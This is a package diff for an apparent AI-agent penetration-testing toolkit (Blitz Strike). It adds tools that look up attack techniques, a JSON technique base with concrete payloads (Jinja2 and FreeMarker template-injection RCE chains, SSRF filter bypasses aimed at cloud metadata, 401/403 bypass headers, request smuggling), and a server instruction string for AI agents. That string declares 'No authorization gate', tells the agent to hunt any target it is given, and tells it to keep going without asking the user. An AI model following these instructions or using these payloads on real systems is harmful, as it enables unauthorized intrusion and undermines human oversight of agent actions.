blitzstrike 1.0.98 → 1.1.0

package/CHANGELOG.md

@@ -5,6 +5,34 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [1.1.0] — 2026-09-13
+
+### Added — detailed technique base (25 vulnerability classes)
+
+- New `technique_lookup` MCP tool + `intelligence/techniques.json`: 25 detailed
+  vulnerability classes (ssrf, request smuggling, cache poisoning, race
+  conditions, ssti, deserialization, prototype pollution, mass assignment,
+  sql/nosql injection, xss, cors, csrf, jwt, oauth, host header, open redirect,
+  subdomain takeover, idor, graphql, websocket, file upload, path traversal/LFI,
+  command injection, xxe). Each class carries summary, objectives, how-to-test
+  steps, concrete techniques/tricks, and verify (marker + negative control).
+  Synthesized from OWASP WSTG taxonomy + general security knowledge.
+- RESOURCE MAP + `bs-web-hunting` cross-references now reach `technique_lookup`.
+
+## [1.0.99] — 2026-09-13
+
+### Added — WSTG + HackTricks enrichment (interconnected doctrine)
+
+- New `wstg_map` MCP tool + `intelligence/wstg_map.json`: maps every OWASP
+  WSTG category (12) to the Blitz Strike skill/phase/tools/data that covers it,
+  including the high-value advanced tests (smuggling, SSRF, SSTI, deserialization,
+  prototype pollution, mass assignment, path confusion, GraphQL, WebSockets).
+- `bypass_techniques.json` auth category enriched with concrete 401/403 bypass
+  techniques (verb fuzzing, proxy-header spoofing, path normalization, API
+  version confusion, JSON parameter pollution, protocol/host confusion).
+- `bs-web-hunting` SSRF ladder gained DNS-rebinding-vs-safe-url-checks note.
+- THIRD-PARTY-NOTICES: added OWASP WSTG (CC BY-SA 4.0).
+
 ## [1.0.98] — 2026-09-13
 
 ### Added — interconnected doctrine map

package/THIRD-PARTY-NOTICES.md

@@ -48,6 +48,14 @@ satisfies the attribution requirements of those licenses.
 - **License:** MIT
 - **Used for:** ~11.9k YAML detection templates (`templates/`).
 
+## OWASP Web Security Testing Guide (WSTG)
+
+- **Source:** https://github.com/OWASP/wstg
+- **License:** CC BY-SA 4.0
+- **Used for:** the WSTG category/test taxonomy in `intelligence/wstg_map.json`
+  (category identifiers WSTG-INFO/CONF/IDNT/ATHN/ATHZ/SESS/INPV/ERRH/CRYP/
+  BUSL/CLNT/APIT and their test names).
+
 ---
 
 All other code, chains, and data in this project are written by shinthink

package/dist/index.js

@@ -31750,6 +31750,38 @@ function doctrineMap(part) {
     suggestions: ["cross_cutting", ...data.phases.map((p) => String(p.phase))]
   };
 }
+function wstgMap(category) {
+  const data = loadJson("wstg_map");
+  if (!data)
+    return { found: false, error: "wstg_map.json not found" };
+  if (!category) {
+    return {
+      found: true,
+      categories: data.categories.map((c) => ({ wstg: c.wstg, name: c.name, phase: c.phase, skill: c.skill }))
+    };
+  }
+  const q = category.toUpperCase();
+  const c = data.categories.find((x) => String(x.wstg).toUpperCase() === q || String(x.name).toLowerCase().includes(category.toLowerCase()) || String(x.wstg).toUpperCase().includes(q));
+  if (c)
+    return { found: true, ...c };
+  return { found: false, category, suggestions: data.categories.map((x) => String(x.wstg)) };
+}
+function techniqueLookup(cls) {
+  const data = loadJson("techniques");
+  if (!data)
+    return { found: false, error: "techniques.json not found" };
+  if (!cls) {
+    return {
+      found: true,
+      classes: data.classes.map((c) => ({ id: c.id, name: c.name }))
+    };
+  }
+  const q = cls.toLowerCase();
+  const c = data.classes.find((x) => String(x.id).toLowerCase() === q || String(x.id).toLowerCase().includes(q) || String(x.name).toLowerCase().includes(q));
+  if (c)
+    return { found: true, ...c };
+  return { found: false, cls, suggestions: data.classes.map((x) => String(x.id)) };
+}
 
 // src/active.ts
 var TIMEOUT_MS2 = 20000;
@@ -53696,7 +53728,7 @@ function createServer() {
     name: "blitzstrike",
     version: "1.0.0"
   }, {
-    instructions: "Blitz Strike is a universal penetration-testing toolbelt with three tiers — " + "BLITZ (reconnaissance / attack-surface mapping), EAGLE-EYE (source-to-sink " + "analysis), STRIKE (live validation) — plus a canonical evidence-first finding " + "engine and a multi-language taint engine.\\n\\n" + "CORE MENTAL MODEL:\\n" + "- A scanner hit is a HYPOTHESIS, not a finding. Live verification (or data-flow " + "  proof) is the verdict. Never report an unverified hit as a vulnerability.\\n" + "- Distinguish REACHABLE from mere PRESENT: a sink is only a finding when tainted " + "  input reaches it AND it is not neutralized by a sanitizer and not guarded by an " + "  auth gate.\\n\\n" + "HOW TO RUN AN AUDIT (start here):\\n" + "0. ROUTE BY TARGET. Classify automatically - no need to ask. A URL - with or " + "   without http/https - is LIVE (live_recon + the " + "   web-hunting doctrine + strike_verify). A filesystem path (exists on disk, " + "   or a code extension) is SOURCE audit (source-audit doctrine: blitz_scan + " + "   eagle_eye2 + complex_scan/route_scan). TWO DOCTRINES - never mix: live " + "   web/API -> web-hunting skill; source tree -> source-audit skill.\\n" + "1. RECORD SCOPE. scope_check classifies the target (intel for the report) - " + "   it does NOT gate the engagement. No authorization gate: the repo disclaimer " + "   places responsibility on the user. Hunt the target you are given.\\n" + "2. MAP THE SURFACE (BLITZ). For a source tree use blitz_scan (tree) or blitz_file " + "   (single file) then enrich_scan to match sinks to escalation chains. For a live " + "   URL use live_recon for a full pass (fingerprint/WAF/tech/version/crawler/params/" + "   subdomains/API endpoints/intel correlation) — it returns next_steps. active_scan " + "   is the lighter alternative. Both record scope internally.\\n" + "3. TRACE REACHABILITY (EAGLE-EYE). For every sink, determine whether attacker " + "   input actually reaches it:\\n" + "   - PHP/JS/TS/Python/Java source: taint_file (auto-detects language) or " + "     taint_scan/taint_tree (PHP AST). list_languages shows what's supported.\\n" + "   - Any language: trace_data_flow (window heuristic) and eagle_eye/eagle_grep " + "     (function-scoped view of sinks + auth gates). Beyond taint: route_scan (route confusion / dispatch abuse / batch forwarding) and complex_scan (deserialization->POP, type juggling, mass assignment, prototype pollution, CRLF/header injection, path confusion) catch classes plain taint misses.\\n" + "   A sink counts only if tainted input reaches it unsanitized and unguarded.\\n" + "4. VALIDATE (STRIKE). Confirm live with strike_verify using a MARKER plus a " + "   NEGATIVE CONTROL plus a BASELINE. The verdict is deterministic: marker " + "   reflected AND control inert = confirmed; both reflected = false_positive; " + "   marker not reflected = unconfirmed. Feed the verdict to strike_resolve to " + "   advance the finding lifecycle (hypothesis->validating->confirmed). Use " + "   read_tool_manual for the exploit tool's manual, payload_lookup for payloads, " + "   detect_waf/tech_correlation for context.\\n" + "5. RECORD + REPORT. Create a canonical finding with finding_create, advance it " + "   through the lifecycle with finding_transition, attach confidence_score, and " + "   redact any secrets before persisting. Only report findings that survived " + "   verification.\\n\\n" + "SUPPORTING LAYERS:\\n" + "- run_engagement: ONE call does the whole audit (no babysitting). Source path -> " + "  full static pipeline + inline report (markdown/JSON/SARIF). URL target -> " + "  autonomous live marker sweep + confirmed findings + report. Prefer this first.\\n" + "- list_chains: 57 escalation chains (source -> sink -> impact).\\n" + "- list_languages / taint_file: multi-language taint (PHP, JS/TS, Python, Java).\\n" + "- tool_lookup / ensure_tool / list_tools: 130-tool catalog, auto-install.\\n" + "- read_playbook / list_playbooks: 17 engagement playbooks (web-app, api-security, " + "  source-code-audit, active-directory, mobile, external-attack-surface, ...).\\n" + "- skill_lookup / read_skill / list_skills: 39 skills (7 bs-* agent doctrine: " + "  orchestrate, scope, source-audit, web-hunting, verify, review, report; + " + "  technique playbooks: WP/PHP 0-day, AD, malware, mobile, cloud).\\n" + "- read_tool_manual / list_manuals: 317 tool manuals (sqlmap, nmap, commix, ...).\\n" + "- payload_lookup / read_payload: 66 payload collections (sqli, xss, ssti, xxe, lfi).\\n" + "- detect_waf / tech_correlation / cve_correlation / port_correlation: signature " + "  + correlation intelligence.\\n" + "- nvd_lookup / fofa_search: CVE lookup + asset reconnaissance (FOFA needs env creds).\\n" + "- remember / memory_lookup / memory_list: persist + recall verified knowledge.\\n\\n" + "RESOURCE MAP (know what to reach for):\\n" + "- ORCHESTRATION = the engagement framework. orchestration() returns the " + "  lifecycle (scope->recon->analyze->deep->verify->report, each with " + "  entry/exit criteria) + sub-agent team + handoff contract + termination " + "  criteria. Load it at engagement start.\\n" + "- TOOL = acts (scan, taint, verify, record, correlate). Call it to DO something.\\n" + "- PLAYBOOK = campaign plan for a target TYPE. read_playbook(web-application) " + "  BEFORE a full engagement of that type.\\n" + "- SKILL = procedure doctrine. Load the bs-* skill for the phase you are on " + "  (orchestrate, scope, web-hunting for LIVE, source-audit for SOURCE, verify, " + "  review, report); load a technique skill for the specific technique.\\n" + "- MANUAL = deep reference for ONE tool. read_tool_manual right before using it.\\n" + "- CATALOG = external tools (130: sqlmap, nmap, nuclei, ffuf, ysoserial, ...). " + "  Blitz Strike's OWN tools find + verify; the catalog is for deeper EXTERNAL " + "  exploitation/enumeration. After your own analysis confirms a finding, run " + "  tool_lookup -> ensure_tool (auto-install) -> read_tool_manual to drive the " + "  external tool that demonstrates impact.\\n" + "- PAYLOAD = attack payloads for a class. payload_lookup before crafting a probe.\\n" + "- INTELLIGENCE = knowledge. list_attack_vectors (34 categories) maps the " + "  full surface during RECON; list_chains (57) turns a finding into impact; " + "  chain_links composes chains for complex bugs; bypass_lookup when blocked; " + "  payload_lookup when crafting a probe. Reach for them at that moment.\\n\\n" + "NO-BABYSITTING (while scanning + testing):\\n" + "- Scan the WHOLE surface before reporting - every file, entry point, and sink. " + "  Do not stop after the first hit to ask; keep enumerating the full tree.\\n" + "- Test every hypothesis through its full verification cycle - vary probes on " + "  failure, apply bypasses when blocked, keep going. Do not pause to ask.\\n" + "- Persist through partial results: a scan that surfaces few sinks is NOT done - " + "  widen the surface, escalate detectors, dig into each reachable sink.\\n" + "- Only surface to the user when: the target is genuinely ambiguous, a " + "  destructive or DoS action needs explicit consent, or the engagement is complete.\\n\\n" + "PERSISTENCE (complex bugs - do not give up):\\n" + "- On any failure (empty output, blocked probe, failed sub-agent/model), call " + "  retry_guidance(signal) for concrete recovery actions before giving up.\\n" + "- On a model/sub-agent error (rate-limit, quota, timeout, 5xx, auth, " + "  unavailable), model_fallback(signal) classifies it and returns the exact " + "  recovery (retry+backoff / fall back / shrink scope / fix credentials / " + "  abort). Do not fall back blindly - the class decides.\\n" + "- One failed probe != not vulnerable. Vary: alternative sinks, other params, " + "  encoding/case/whitespace bypasses, different injection context.\\n" + "- Empty output != no findings. Re-run (server may be stale after an upgrade - " + "  /reload-mcp), or escalate to route_scan / complex_scan for classes taint " + "  misses (POP chains, type juggling, mass assignment, route confusion).\\n" + "- A 'sanitized' sink may not be safe. Challenge the sanitizer: loose == vs ===, " + "  missing EXTR_SKIP, int cast truncation, weak regex.\\n" + "- An unconfirmed hypothesis is KEPT as hypothesis - try alternate verification, " + "  then let adversarial review decide.\\n" + "- Complex chains (deserialization->POP, LFI->RCE) need the FULL chain traced, " + `  not just the first sink.\\n
+    instructions: "Blitz Strike is a universal penetration-testing toolbelt with three tiers — " + "BLITZ (reconnaissance / attack-surface mapping), EAGLE-EYE (source-to-sink " + "analysis), STRIKE (live validation) — plus a canonical evidence-first finding " + "engine and a multi-language taint engine.\\n\\n" + "CORE MENTAL MODEL:\\n" + "- A scanner hit is a HYPOTHESIS, not a finding. Live verification (or data-flow " + "  proof) is the verdict. Never report an unverified hit as a vulnerability.\\n" + "- Distinguish REACHABLE from mere PRESENT: a sink is only a finding when tainted " + "  input reaches it AND it is not neutralized by a sanitizer and not guarded by an " + "  auth gate.\\n\\n" + "HOW TO RUN AN AUDIT (start here):\\n" + "0. ROUTE BY TARGET. Classify automatically - no need to ask. A URL - with or " + "   without http/https - is LIVE (live_recon + the " + "   web-hunting doctrine + strike_verify). A filesystem path (exists on disk, " + "   or a code extension) is SOURCE audit (source-audit doctrine: blitz_scan + " + "   eagle_eye2 + complex_scan/route_scan). TWO DOCTRINES - never mix: live " + "   web/API -> web-hunting skill; source tree -> source-audit skill.\\n" + "1. RECORD SCOPE. scope_check classifies the target (intel for the report) - " + "   it does NOT gate the engagement. No authorization gate: the repo disclaimer " + "   places responsibility on the user. Hunt the target you are given.\\n" + "2. MAP THE SURFACE (BLITZ). For a source tree use blitz_scan (tree) or blitz_file " + "   (single file) then enrich_scan to match sinks to escalation chains. For a live " + "   URL use live_recon for a full pass (fingerprint/WAF/tech/version/crawler/params/" + "   subdomains/API endpoints/intel correlation) — it returns next_steps. active_scan " + "   is the lighter alternative. Both record scope internally.\\n" + "3. TRACE REACHABILITY (EAGLE-EYE). For every sink, determine whether attacker " + "   input actually reaches it:\\n" + "   - PHP/JS/TS/Python/Java source: taint_file (auto-detects language) or " + "     taint_scan/taint_tree (PHP AST). list_languages shows what's supported.\\n" + "   - Any language: trace_data_flow (window heuristic) and eagle_eye/eagle_grep " + "     (function-scoped view of sinks + auth gates). Beyond taint: route_scan (route confusion / dispatch abuse / batch forwarding) and complex_scan (deserialization->POP, type juggling, mass assignment, prototype pollution, CRLF/header injection, path confusion) catch classes plain taint misses.\\n" + "   A sink counts only if tainted input reaches it unsanitized and unguarded.\\n" + "4. VALIDATE (STRIKE). Confirm live with strike_verify using a MARKER plus a " + "   NEGATIVE CONTROL plus a BASELINE. The verdict is deterministic: marker " + "   reflected AND control inert = confirmed; both reflected = false_positive; " + "   marker not reflected = unconfirmed. Feed the verdict to strike_resolve to " + "   advance the finding lifecycle (hypothesis->validating->confirmed). Use " + "   read_tool_manual for the exploit tool's manual, payload_lookup for payloads, " + "   detect_waf/tech_correlation for context.\\n" + "5. RECORD + REPORT. Create a canonical finding with finding_create, advance it " + "   through the lifecycle with finding_transition, attach confidence_score, and " + "   redact any secrets before persisting. Only report findings that survived " + "   verification.\\n\\n" + "SUPPORTING LAYERS:\\n" + "- run_engagement: ONE call does the whole audit (no babysitting). Source path -> " + "  full static pipeline + inline report (markdown/JSON/SARIF). URL target -> " + "  autonomous live marker sweep + confirmed findings + report. Prefer this first.\\n" + "- list_chains: 57 escalation chains (source -> sink -> impact).\\n" + "- list_languages / taint_file: multi-language taint (PHP, JS/TS, Python, Java).\\n" + "- tool_lookup / ensure_tool / list_tools: 130-tool catalog, auto-install.\\n" + "- read_playbook / list_playbooks: 17 engagement playbooks (web-app, api-security, " + "  source-code-audit, active-directory, mobile, external-attack-surface, ...).\\n" + "- skill_lookup / read_skill / list_skills: 39 skills (7 bs-* agent doctrine: " + "  orchestrate, scope, source-audit, web-hunting, verify, review, report; + " + "  technique playbooks: WP/PHP 0-day, AD, malware, mobile, cloud).\\n" + "- read_tool_manual / list_manuals: 317 tool manuals (sqlmap, nmap, commix, ...).\\n" + "- payload_lookup / read_payload: 66 payload collections (sqli, xss, ssti, xxe, lfi).\\n" + "- detect_waf / tech_correlation / cve_correlation / port_correlation: signature " + "  + correlation intelligence.\\n" + "- nvd_lookup / fofa_search: CVE lookup + asset reconnaissance (FOFA needs env creds).\\n" + "- remember / memory_lookup / memory_list: persist + recall verified knowledge.\\n\\n" + "RESOURCE MAP (know what to reach for):\\n" + "- ORCHESTRATION = the engagement framework. orchestration() returns the " + "  lifecycle (scope->recon->analyze->deep->verify->report, each with " + "  entry/exit criteria) + sub-agent team + handoff contract + termination " + "  criteria. Load it at engagement start.\\n" + "- TOOL = acts (scan, taint, verify, record, correlate). Call it to DO something.\\n" + "- PLAYBOOK = campaign plan for a target TYPE. read_playbook(web-application) " + "  BEFORE a full engagement of that type.\\n" + "- SKILL = procedure doctrine. Load the bs-* skill for the phase you are on " + "  (orchestrate, scope, web-hunting for LIVE, source-audit for SOURCE, verify, " + "  review, report); load a technique skill for the specific technique.\\n" + "- MANUAL = deep reference for ONE tool. read_tool_manual right before using it.\\n" + "- CATALOG = external tools (130: sqlmap, nmap, nuclei, ffuf, ysoserial, ...). " + "  Blitz Strike's OWN tools find + verify; the catalog is for deeper EXTERNAL " + "  exploitation/enumeration. After your own analysis confirms a finding, run " + "  tool_lookup -> ensure_tool (auto-install) -> read_tool_manual to drive the " + "  external tool that demonstrates impact.\\n" + "- PAYLOAD = attack payloads for a class. payload_lookup before crafting a probe.\\n" + "- INTELLIGENCE = knowledge. list_attack_vectors (34 categories) maps the " + "  full surface during RECON; list_chains (57) turns a finding into impact; " + "  chain_links composes chains for complex bugs; bypass_lookup when blocked; " + "  payload_lookup when crafting a probe. technique_lookup(cls) returns the " + "  DETAILED methodology + tricks for a vulnerability class (ssrf, ssti, " + "  jwt, deserialization, ...) - load before testing a class. wstg_map maps " + "  an OWASP category to coverage; doctrine_map shows how everything links.\\n\\n" + "NO-BABYSITTING (while scanning + testing):\\n" + "- Scan the WHOLE surface before reporting - every file, entry point, and sink. " + "  Do not stop after the first hit to ask; keep enumerating the full tree.\\n" + "- Test every hypothesis through its full verification cycle - vary probes on " + "  failure, apply bypasses when blocked, keep going. Do not pause to ask.\\n" + "- Persist through partial results: a scan that surfaces few sinks is NOT done - " + "  widen the surface, escalate detectors, dig into each reachable sink.\\n" + "- Only surface to the user when: the target is genuinely ambiguous, a " + "  destructive or DoS action needs explicit consent, or the engagement is complete.\\n\\n" + "PERSISTENCE (complex bugs - do not give up):\\n" + "- On any failure (empty output, blocked probe, failed sub-agent/model), call " + "  retry_guidance(signal) for concrete recovery actions before giving up.\\n" + "- On a model/sub-agent error (rate-limit, quota, timeout, 5xx, auth, " + "  unavailable), model_fallback(signal) classifies it and returns the exact " + "  recovery (retry+backoff / fall back / shrink scope / fix credentials / " + "  abort). Do not fall back blindly - the class decides.\\n" + "- One failed probe != not vulnerable. Vary: alternative sinks, other params, " + "  encoding/case/whitespace bypasses, different injection context.\\n" + "- Empty output != no findings. Re-run (server may be stale after an upgrade - " + "  /reload-mcp), or escalate to route_scan / complex_scan for classes taint " + "  misses (POP chains, type juggling, mass assignment, route confusion).\\n" + "- A 'sanitized' sink may not be safe. Challenge the sanitizer: loose == vs ===, " + "  missing EXTR_SKIP, int cast truncation, weak regex.\\n" + "- An unconfirmed hypothesis is KEPT as hypothesis - try alternate verification, " + "  then let adversarial review decide.\\n" + "- Complex chains (deserialization->POP, LFI->RCE) need the FULL chain traced, " + `  not just the first sink.\\n
 ` + "- When a probe is BLOCKED by a WAF/filter/sanitizer, call bypass_lookup(defense) " + "  for concrete techniques (encoding, case, comment insertion, chunked, null byte, " + "  double-encoding, verb tampering, header spoofing) and apply them - do not give up.\\n" + "- CHAIN findings: a low-severity finding may escalate — do not assume it is the " + "  end of the story. list_chains / chain_links show whether it composes into a " + "  multi-stage chain (e.g. SSRF->metadata, SQLi->RCE, LFI->RCE, upload->shell). " + "  Check before concluding, and do not overclaim an escalation that is not there.\\n\\n" + "- Complex bugs chain ACROSS chains: after confirming one chain, chain_links " + "  shows what follows (SSRF->metadata then default-creds->pivot via stolen IAM). " + "  Trace the full composition, not just a single chain.\\n\\n" + "HYPOTHESIS EXPANSION (from each finding, enumerate + verify every follow-up):\\n" + "- A confirmed finding is the START, not the end. From each one, enumerate " + "  the follow-ups: ESCALATE (list_chains + chain_links), CHAIN (chain_links " + "  from->to), BYPASS (bypass_lookup), PIVOT (new endpoints/sinks now reachable).\\n" + "- Every follow-up (this might happen, this could chain, maybe bypassable) is " + "  a HYPOTHESIS, not a finding. Verify EACH via strike_verify (marker + negative " + "  control) before it enters the report.\\n" + "- Never report speculation: might / could / possibly live in the " + "  hypothesis list, never in the report. Every report line is a verified fact.\\n\\n" + "PROFESSIONAL JUDGMENT (act like a senior tester, not a checklist runner):\\n" + "- PRIORITIZE by severity, computed deterministically with cvss_score (impact x " + "  exploitability) and weighted by escalation potential (chain_links). Do NOT rank " + "  by bug class - a critical stored XSS that yields account takeover outranks an " + "  unreachable blind RCE. Weight by the engagement context (which asset/data is " + "  most sensitive for THIS target).\\n" + "- Recognize dead ends: if a branch yields nothing after a few varied probes, " + "  note it and move on. Do not tunnel-vision one sink at the expense of the rest.\\n" + "- Live-test with care: respect rate limits, do not lock accounts, do not " + "  trigger DoS. Test non-destructively and prove impact with the smallest payload.\\n" + "- Know when done: stop when the termination criteria are met, not when you feel " + "  tired. A thorough audit over a rushed one, every time.\\n\\n" + "IRON RULES:\\n" + "- No authorization gate - the repo disclaimer places responsibility on the " + "  user. Hunt the target you are given (like nmap/sqlmap/Burp, which do not " + "  ask). The one hard stop: malicious/third-party infra (cari pelaku) - hold/static.\\n" + "  need finer control."
   });
   server.registerTool("blitz_scan", {
@@ -54234,6 +54266,24 @@ ${statusLine}` : statusLine },
   }, async ({ part }) => {
     return { content: [{ type: "text", text: JSON.stringify(doctrineMap(part)) }] };
   });
+  server.registerTool("wstg_map", {
+    title: "OWASP WSTG -> Blitz coverage map",
+    description: "INTEL: map an OWASP WSTG category (WSTG-INFO, WSTG-INPV, WSTG-BUSL, WSTG-CLNT, WSTG-APIT, ...) to the Blitz Strike skill, phase, tools, and data that covers it, including the high-value advanced tests where Blitz has a specific deterministic capability. Use to ground the engagement in the official framework.",
+    inputSchema: {
+      category: string2().optional().describe("Optional WSTG category id (e.g. WSTG-INPV) or name (e.g. 'Input Validation').")
+    }
+  }, async ({ category }) => {
+    return { content: [{ type: "text", text: JSON.stringify(wstgMap(category)) }] };
+  });
+  server.registerTool("technique_lookup", {
+    title: "Detailed bug-hunting technique base",
+    description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (ssrf, request_smuggling, cache_poisoning, race_condition, ssti, deserialization, prototype_pollution, mass_assignment, sql_injection, nosql_injection, xss, cors, csrf, jwt, oauth, host_header, open_redirect, subdomain_takeover, idor, graphql, websocket, file_upload, path_traversal_lfi, command_injection, xxe). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
+    inputSchema: {
+      cls: string2().optional().describe("Optional class id or name (e.g. 'ssrf', 'request smuggling', 'ssti').")
+    }
+  }, async ({ cls }) => {
+    return { content: [{ type: "text", text: JSON.stringify(techniqueLookup(cls)) }] };
+  });
   server.registerTool("engagement_start", {
     title: "Start an engagement",
     description: "ORCHESTRATION: open an engagement and track its state. Call at the start of a full audit so subsequent engagement_phase / engagement_track / engagement_status calls have a state to update. The LLM is the brain; this is the deterministic bookkeeping hand.",

package/intelligence/bypass_techniques.json

@@ -31,11 +31,12 @@
       "id": "auth",
       "defense": "Authentication / authorization (401/403)",
       "techniques": [
-        {"id": "path_traversal", "name": "Path normalization", "how": "Bypass path-based ACL with traversal or encoding.", "example": "/admin/../admin, /admin%2f, /admin/.;/"},
-        {"id": "verb", "name": "HTTP verb tampering", "how": "Switch the method (GET->POST, add X-HTTP-Method-Override).", "example": "GET /admin -> POST /admin"},
-        {"id": "header", "name": "Header spoofing", "how": "Spoof X-Forwarded-For / X-Real-IP / X-Original-URL to appear internal.", "example": "X-Original-URL: /admin"},
-        {"id": "case_path", "name": "Case / suffix", "how": "Vary case or append suffix to dodge exact-match rules.", "example": "/Admin, /admin/.json, /admin/."},
-        {"id": "param", "name": "Parameter override", "how": "Override auth via a second parameter or body field the backend trusts.", "example": "user=guest&user=admin"}
+        {"id": "verb", "name": "HTTP verb tampering", "how": "Switch the method (GET->POST) or fuzz uncommon verbs (TRACE, HEAD, OPTIONS, PATCH, INVENTED, HACK) + X-HTTP-Method-Override.", "example": "GET /admin -> POST /admin; X-HTTP-Method-Override: PUT"},
+        {"id": "header", "name": "Proxy header spoofing", "how": "Spoof a proxy-origin header to appear internal/localhost; each proxy honors a different one.", "example": "X-Originating-IP, X-Forwarded-For, X-Forwarded, Forwarded-For, X-Remote-IP, X-Remote-Addr, X-ProxyUser-Ip, Client-IP, True-Client-IP, Cluster-Client-IP, Host: localhost, X-Original-URL: /admin, X-Rewrite-URL: /admin"},
+        {"id": "path_normalize", "name": "Path normalization", "how": "Bypass path-based ACL with traversal, encoding, case, suffix, or separator tricks.", "example": "/%2e/admin, /%252e/admin, //admin//, /./admin/.., /;/admin, /.;/admin, /Admin, /admin/., /admin.json, /admin%ef%bc%8f"},
+        {"id": "api_version", "name": "API version confusion", "how": "Hit a legacy or different API version that lacks the authorization check.", "example": "/v3/users/1234 -> /v1/users/1234"},
+        {"id": "param", "name": "Parameter override / pollution", "how": "Override auth via a second param, or pollute a JSON field with a duplicate key.", "example": "user=guest&user=admin; {\"user_id\":\"legit\",\"user_id\":\"victim\"}; id=111 -> id=[111] -> id={\"id\":111}"},
+        {"id": "proto", "name": "Protocol / host confusion", "how": "Switch http<->https, drop the Host header, or contact the origin IP/CNAME directly.", "example": "https://host -> http://host; remove Host header; resolve CNAME to origin"}
       ]
     },
     {

package/intelligence/techniques.json

@@ -0,0 +1,230 @@
+{
+  "_comment": "Detailed web bug-hunting technique base. One entry per vulnerability class: what it is, what to find, how to test step-by-step, concrete techniques/tricks, and how to verify (marker + negative control). Synthesized from OWASP WSTG taxonomy + general security knowledge. Load via technique_lookup(class).",
+  "classes": [
+    {
+      "id": "ssrf",
+      "name": "Server-Side Request Forgery",
+      "summary": "The server fetches an attacker-influenced URL, letting you reach internal-only services (metadata, DB, admin) from inside the network.",
+      "objectives": ["Find any parameter/field the server uses to make an outbound request (URL, webhook, image proxy, file import).", "Confirm the server resolves the URL (DNS pingback / canary host).", "Reach internal services and read cloud metadata."],
+      "how_to_test": ["Inject a canary URL (burpcollaborator / your server) and watch for a callback.", "Then target 169.254.169.254 (AWS), metadata.google.internal (GCP), 127.0.0.1, internal hostnames.", "Enumerate internal ports via scheme/response differences."],
+      "techniques": ["Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.", "DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).", "Redirect bypass: allow-listed host that 302s to an internal address.", "Schemes: gopher://, dict://, file:// for protocol-level access."],
+      "verify": "Unique marker host receives the callback (proof of SSRF); a benign non-fetching control returns nothing."
+    },
+    {
+      "id": "request_smuggling",
+      "name": "HTTP Request Smuggling",
+      "summary": "Front-end and back-end disagree on where a request ends, letting you smuggle a second request that poisons the next user's request.",
+      "objectives": ["Detect CL.TE / TE.CL / TE.TE desync between front and back.", "Smuggle a request that captures or poisons the next victim request."],
+      "how_to_test": ["Send a request with conflicting Content-Length and Transfer-Encoding headers and observe a timeout/desync.", "Confirm the desync class, then smuggle a second request.", "Target: session hijack (smuggle a request that captures the next user's cookie), cache poisoning, WAF bypass."],
+      "techniques": ["CL.TE: front uses Content-Length, back uses Transfer-Encoding: chunked.", "TE.CL: front uses Transfer-Encoding, back uses Content-Length.", "HTTP/2 downgrade smuggling when the front speaks H2 and the back HTTP/1.1.", "Response queue poisoning via a smuggled complete request."],
+      "verify": "A timing marker or a second request whose response lands on YOUR connection confirms the desync; send a control without the conflict and confirm no effect."
+    },
+    {
+      "id": "cache_poisoning",
+      "name": "Web Cache Poisoning",
+      "summary": "Poison a shared cache by injecting a payload into an unkeyed header/param, so the cached response (with your payload) is served to every visitor.",
+      "objectives": ["Find unkeyed inputs reflected in the response (X-Forwarded-Host, X-Original-URL, custom X-*).", "Confirm the cache serves the poisoned response to other requests."],
+      "how_to_test": ["Send a request with a reflected unkeyed header carrying a marker.", "Re-request the same resource WITHOUT the header and confirm the marker persists (cache hit).", "Escalate: reflected XSS in a cached page = stored XSS for everyone."],
+      "techniques": ["Unkeyed headers: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, X-Host, X-Forwarded-Port.", "Cache deception: a cache that keys on the URL but serves the authenticated response to /profile/foo.css.", "Vary header abuse to segment the cache."],
+      "verify": "Marker reflects on a second, clean request (proof of shared cache) - a control URL that is not cached returns no marker."
+    },
+    {
+      "id": "race_condition",
+      "name": "Race Condition / TOCTOU",
+      "summary": "Two parallel requests interleave with a check-then-use or a shared resource, producing an inconsistent state (double spend, duplicate account, privilege flip).",
+      "objectives": ["Find a state-changing action with a check-then-act gap.", "Fire parallel requests and detect the double effect."],
+      "how_to_test": ["Identify spend/redeem/register/upload flows with a validation step.", "Send the request N times in parallel (single-packet via HTTP/2, or Burp turbo intruder).", "Compare the resulting state (balance, count, files)."],
+      "techniques": ["TOCTOU: withdraw-twice, redeem-coupon-twice, register-same-email-twice.", "File-upload race: upload -> check -> replace between check and use.", "HTTP/2 single-packet attack to make requests truly simultaneous."],
+      "verify": "The double effect is observed (balance decremented once for two redemptions); sequential control requests produce no double effect."
+    },
+    {
+      "id": "ssti",
+      "name": "Server-Side Template Injection",
+      "summary": "User input is concatenated into a server-side template, letting you execute code in the templating engine.",
+      "objectives": ["Detect the templating engine via probe payloads.", "Escalate from template evaluation to code execution."],
+      "how_to_test": ["Probe with {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, ${{7*7}}.", "Identify the engine by the error/behavior of each.", "Build a RCE chain for that engine."],
+      "techniques": ["Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or __mro__/__subclasses__.", "FreeMarker/Java: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.", "Smarty: {system('id')}.", "Filter bypass: nested attributes, |attr, string concat, unicode escapes."],
+      "verify": "{{7*7}} evaluates to 49 (marker), and a literal control ({{'7*7'}}) stays literal; RCE chain runs a marker command via callback."
+    },
+    {
+      "id": "deserialization",
+      "name": "Insecure Deserialization",
+      "summary": "Untrusted serialized data is deserialized into objects, allowing gadget chains to reach code execution.",
+      "objectives": ["Spot serialized blobs in params/cookies (PHP O:, Java rO0AB/ACED, .NET, pickle).", "Build a gadget chain to RCE."],
+      "how_to_test": ["Identify the serialization format from a cookie/param.", "Generate a payload with ysoserial (Java), PHPGGC (PHP), or a pickle/JSON gadget.", "Fire it and watch for a marker command via callback."],
